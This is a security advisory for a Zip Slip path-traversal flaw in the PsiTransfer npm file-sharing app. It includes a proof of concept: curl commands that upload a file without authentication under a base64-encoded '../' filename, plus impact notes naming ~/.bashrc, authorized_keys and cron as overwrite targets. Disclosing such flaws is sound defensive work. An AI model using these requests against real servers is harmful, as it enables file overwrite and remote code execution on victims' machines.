PT-2025-62961 · Npm · Psitransfer

Published

2025-12-30

·

Updated

2025-12-30

CVSS v3.1

8.1

High

VectorAV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N

Summary

A Zip Slip vulnerability in PsiTransfer allows an unauthenticated attacker to upload files with path traversal sequences in the filename (e.g. ../../../.ssh/authorized keys). When a victim downloads the bucket as a .tar.gz archive and extracts it, malicious files are written outside the intended directory, potentially leading to RCE.

Details

The vulnerability exists in the archive download functionality in lib/endpoints.js where user controlled metadata.name is used directly without sanitization when creating TAR archive entries.
lib/endpoints.js:275

const entry = pack.entry({ name: info.metadata.name, size: info.size });
lib/endpoints.js:372
assert(meta.name, 'tus meta prop missing: name');

PoC

I. Upload file with malicious filename (no authentication required).
MALICIOUS NAME=$(echo -n "../../../tmp/dp.txt" | base64)
SID=$(echo -n "evil" | base64)
RETENTION=$(echo -n "3600" | base64)

curl -X POST http://TARGET:3000/files 
 -H "Tus-Resumable: 1.0.0" 
 -H "Upload-Length: 15" 
 -H "Upload-Metadata: name ${MALICIOUS NAME},sid ${SID},retention ${RETENTION}"
II. Complete upload with PATCH
curl -X PATCH "http://TARGET:3000/files/evil++<UUID>" 
 -H "Tus-Resumable: 1.0.0" 
 -H "Upload-Offset: 0" 
 -H "Content-Type: application/offset+octet-stream" 
 -d "MALICIOUS CONTENT"
III. Victim downloads and extracts TAR
curl "http://TARGET:3000/files/evil++<HASH>.tar.gz" -o files.tar.gz
tar -tzf files.tar.gz

Impact

Arbitrary File Write: Attacker can write files anywhere on victim's filesystem when they extract the archive. RCE: By targeting ~/.bashrc, ~/.ssh/authorized keys, cron directories etc... No Authentication Required: Default configuration has uploadPass: false. Social Engineering Vector: Attacker sends malicious download link to victim.

Fix

Relative Path Traversal

Path traversal

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Weakness Enumeration

Related Identifiers

GHSA-XPHH-5V4R-R3RX

Affected Products

Psitransfer